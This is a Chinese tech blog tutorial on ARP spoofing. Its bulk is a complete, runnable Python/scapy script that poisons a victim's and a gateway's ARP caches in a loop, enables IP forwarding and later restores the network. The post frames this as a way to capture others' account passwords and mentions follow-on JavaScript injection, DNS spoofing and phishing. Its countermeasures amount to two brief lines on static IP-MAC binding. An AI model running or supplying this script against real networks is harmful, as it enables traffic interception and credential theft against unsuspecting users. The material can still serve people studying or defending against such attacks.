百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

用Python演示ARP攻击的过程及应对办法

haoteby 2025-05-21 13:46 40 浏览

我们经常在电影中看到黑客能够轻松获取到别人的账号密码信息,那么现实中真的这么容易吗?今天我来带大家了解一下黑客是如何获取到别人的账号和密码信息的。

在网路中获取别人的账号密码其实不难,最简单的就是数据监听或钓鱼,那么如何进行网络数据监听呢?arp欺骗可以实现,他能进行dns欺骗和网络钓鱼的基础,通过arp欺骗我们成为了中间人,对别人电脑的通讯数据截取和伪造修改,下面我们来详细讲解一下arp欺骗。

什么是ARP欺骗

这是一种技术,攻击者可以通过该技术将欺骗性的ARP数据包(虚假数据包)发送到网络(或特定主机)上,从而使攻击者能够即时拦截,更改或修改网络流量。

一旦您(作为攻击者)成为中间人,您就可以截取或更改传入或传出受害者设备的所有网络数据报文内容。因此,在本教程中,我们将编写一个Python脚本来做到这一点。

在常规网络中,所有设备均正常地与网关通信,然后再与Internet通信,如下图所示:

现在,攻击者需要将ARP响应发送到两个主机:

向网关发送ARP响应,说“我有受害者的IP地址”。

向受害者发送ARP响应,说“我有网关的IP地址”。



一旦攻击者如上图所示执行ARP Spoof攻击,他/她将处于中间人的情况:


一旦受害者发送了任何数据包(例如HTTP请求),它将首先传递到攻击者的计算机,然后将数据包转发到网关,因此您可能会注意到,受害者对此一无所知,换句话说,他/她将无法弄清楚自己正在受到攻击。

实战演示

好了,理论说完了!在开始之前,您需要安装所需的库:

pip3 install scapy

如果您使用的是Windows,请查看本教程以使Scapy在您的计算机上正常工作。此外,您需要安装pywin32,如下所示:

pip3 install pywin32

编写Python脚本

首先,我们需要导入必要的模块:

from scapy.all import Ether, ARP, srp, send

import argparse

import time

import os

import sys

首先,我需要提到我们需要启用IP路由(即IP转发)。

在多种平台上启用IP路由的方法有很多,但是,我在这里制作了一个python模块,供您在Windows中启用IP路由。

对于类Unix用户(本教程建议的平台),您所需要做的就是编辑文件“ / proc / sys / net / ipv4 / ip_forward” ,该文件需要root用户访问权,并将值1表示已启用,或者使用以下python代码:

def _enable_linux_iproute():
    """
    Enables IP route ( IP Forward ) in linux-based distro
    """
    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open(file_path) as f:
        if f.read() == 1:
            # already enabled
            return
    with open(file_path, "w") as f:
        print(1, file=f)

对于Windows用户,复制 services.py到当前目录后,代码如下:

def _enable_windows_iproute():
    """
    Enables IP route (IP Forwarding) in Windows
    """
    from services import WService
    # enable Remote Access service
    service = WService("RemoteAccess")
    service.start()

好了,我们把以上代码合起来,这样兼容windows和类Unix系统的所有平台:

def enable_ip_route(verbose=True):
    """
    Enables IP forwarding
    """
    if verbose:
        print("[!] Enabling IP Routing...")
    _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
    if verbose:
        print("[!] IP Routing enabled.")

首先,我们需要一个实用程序功能,使我们能够获取网络中任何计算机的MAC地址,代码如下:

def get_mac(ip):
    """
    Returns MAC address of any device connected to the network
    If ip is down, returns None instead
    """
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src

我们使用Scapy的srp()函数以数据包的形式发送请求,并不断监听响应,在这种情况下,我们正在发送ARP请求并监听任何ARP响应。

其次,我们将创建一个功能来完成本教程的核心工作,给定目标IP地址和主机IP地址,它会更改目标IP地址的ARP缓存,说我们拥有主机的IP地址:

def spoof(target_ip, host_ip, verbose=True):
    """
    Spoofs `target_ip` saying that we are `host_ip`.
    it is accomplished by changing the ARP cache of the target (poisoning)
    """
    # get the mac address of the target
    target_mac = get_mac(target_ip)
    # craft the arp 'is-at' operation packet, in other words; an ARP response
    # we don't specify 'hwsrc' (source MAC address)
    # because by default, 'hwsrc' is the real MAC address of the sender (ours)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    # send the packet
    # verbose = 0 means that we send the packet without printing any thing
    send(arp_response, verbose=0)
    if verbose:
        # get the MAC address of the default interface we are using
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

上面的代码获取目标的MAC地址,制作恶意ARP应答(响应)数据包,然后将其发送。

一旦我们想停止攻击,就需要将真实地址重新分配给目标设备(以及网关),如果不这样做,受害者将失去互联网连接,那么受害人就会发现异常了,通常的做法就是我们将依次发送七个合法的ARP回复数据包,代码如下:

def restore(target_ip, host_ip, verbose=True):
    """
    Restores the normal process of a regular network
    This is done by sending the original informations 
    (real IP and MAC of `host_ip` ) to `target_ip`
    """
    # get the real MAC address of target
    target_mac = get_mac(target_ip)
    # get the real MAC address of spoofed (gateway, i.e router)
    host_mac = get_mac(host_ip)
    # crafting the restoring packet
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
    # sending the restoring packet
    # to restore the network to its normal process
    # we send each reply seven times for a good measure (count=7)
    send(arp_response, verbose=0, count=7)
    if verbose:
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

现在我们需要编写主要的代码,欺骗受害主机直到按下CTRL + C,代码如下:

if __name__ == "__main__":
    # victim ip address
    target = "192.168.1.100"
    # gateway ip address
    host = "192.168.1.1"
    # print progress to the screen
    verbose = True
    # enable ip forwarding
    enable_ip_route()
    try:
        while True:
            # telling the `target` that we are the `host`
            spoof(target, host, verbose)
            # telling the `host` that we are the `target`
            spoof(host, target, verbose)
            # sleep for one second
            time.sleep(1)
    except KeyboardInterrupt:
        print("[!] Detected CTRL+C ! restoring the network, please wait...")
        restore(target, host)
        restore(host, target)

我在Linux机器上运行了脚本,这是我的结果的屏幕截图:

在此示例中,如果您尝试检查ARP缓存,确定将我的个人计算机用作受害者:

您将看到攻击者的MAC地址(在本例中为“ 192.168.1.105”)与网关的相同,欺骗成功了。

在攻击者的计算机上,当您单击CTRL + C关闭程序时,以下是还原过程的屏幕截图:


回到受害者机器,您将看到网关的原始MAC地址已还原:

如何应对攻击

攻击成功后,攻击者还可以做很多的事情。例如,您可以在HTML响应中注入javascript代码,对目标进行DNS欺骗,拦截文件并即时对其进行修改,网络嗅探和监视、钓鱼等等。

那么如何组织arp攻击呢?

★、关闭路由器的dhcp功能,添加ip地址与mac地址静态绑定功能。

★、本地添加网关的ip地址与mac地址静态绑定。

这就是arp欺骗的python用法及应对办法,本文旨在解密攻击原理与过程及应对办法,请勿用作其他非法用途。

关注我,每天更新一篇技术好文,下一节我将揭秘一下python中的dns欺骗的过程。

相关推荐

法网公开赛再遭雨水突袭“三无赛事”困局一年后破解

大雨突降,比赛被迫取消。广州日报全媒体记者孙嘉晖摄今天,法网公开赛进入正赛第11个比赛日,突如其来的大雨让本该在当地时间14时开球的女单1/4决赛被迫延迟,最终组委会官方确认,当天比赛因恶劣天气全...

AC米兰队史今天:2005年3比1尤文,马尔蒂尼PK伊布+众将围殴穆图

AC米兰队史今天:2005年3比1尤文,马尔蒂尼PK伊布+众将围攻穆图2005年10月29日,2005-2006赛季意甲第10轮的一场焦点对决在圣西罗上演,AC米兰坐镇主场迎战老妇人尤文图斯。强强死磕...

如果2005年西部全明星阵容VS2021年全明星阵容

#NBA全明星#如果2004-05赛季的西部全明星阵容,分别对阵今年的詹姆斯和杜兰特队,会孰强孰弱呢?首先我们来看看2004-05赛季西部全明星的阵容,首发球员是:科比、麦迪、加内特、邓肯、姚明;替补...

EtherCAT从站EEPROM更新操作指南_ethercat stm32从站

@ZHangZMo升级EtherCAT从站EEPROM...

LAN8820I-ABZJ/MICROCHIP/微芯/代理现货库存/以太网/太航半导体

描述微芯片lan820/lan820i是低功率100BASE/100BASE/1000BASE-TX/1000BASE-TX/100000base是由IEEE802.3和802.3ab...

汽车的发明者到底是谁?哪一年?百年历史的汽车品牌有哪些

今天是解读大学本科汽车专业教材《汽车构造》解读的第一期“总论”部分。后面将以教材内容为基础,并结合汽车发展现状做有一些更丰富的延展,同时补充进一些相关的常见故障及维修内容。华歌通俗易懂讲原理的讲解方...

嵌入式Linux自学不走弯路!670+讲课程!应用层+底层系统学习路线

在智能设备爆发式进化的今天,智能设备正从单点控制迈向系统级智能。从工业机械臂的精准控制到智能座舱的多屏交互,从边缘AI推理到云端协同,...

从cpu角度理解PCIe_cpuz pcie

举报Herok...

什么是big.LITTLE,你真的了解吗_big 是什么

2015年最佳智能手机阵容处理器均基于ARM的big.LITTLE架构,采用该架构处理器的手机工作速度更快更高效。三星GalaxyS6、HTCM9、LGG4等手机均采用基于big...

网上疯传的乌克兰战争片段,其实是一段游戏视频

希望人没事。...

《爱奇艺视频》UWP已悄悄更新ARM版,支持Win10 Mobile部署安装

此前IT之家报道过,爱奇艺视频(Beta版)已经推出Win10UWP版,适配Windows10PC系统,Win10Mobile还不能下载,不过现在有IT之家网友发现,爱奇艺视频(Beta版)商店里已...

Arm版Chrome/Edge浏览器新改进:加速视频渲染、延长续航时间

IT之家6月29日消息,科技媒体WindowsReport昨日(6月28日)发布博文,挖掘ChromiumCommit发现了“EnableMediaFoundationA...

ARM全新视频处理器Mali Egil曝光:支持VP9编解码

5月30日,ARM正式发布了其最新的图形处理器Mail-G71,基于ARM全新的GPU架构“Bifrost”,并且结合了线程级并行(TLP)设计。实际上,完整的MaliGPU基于ARM图形产品堆栈设...

2020年手机最全资源app网站合集,你要的基本上都有

手机最全资源app合集,你要的基本上都有聚BT:(最强资源聚合网站)https://jubt.net安卓老子追剧+安卓南瓜影视破解版+安卓香蕉影视+韩剧TV安卓:https://www.lanzous...

闰秒宣布取消,网友:让Linus本人与谷歌微软达成一致,只有它了

詹士发自凹非寺量子位|公众号QbitAI决定了!这一秒,程序员们不用再续了!...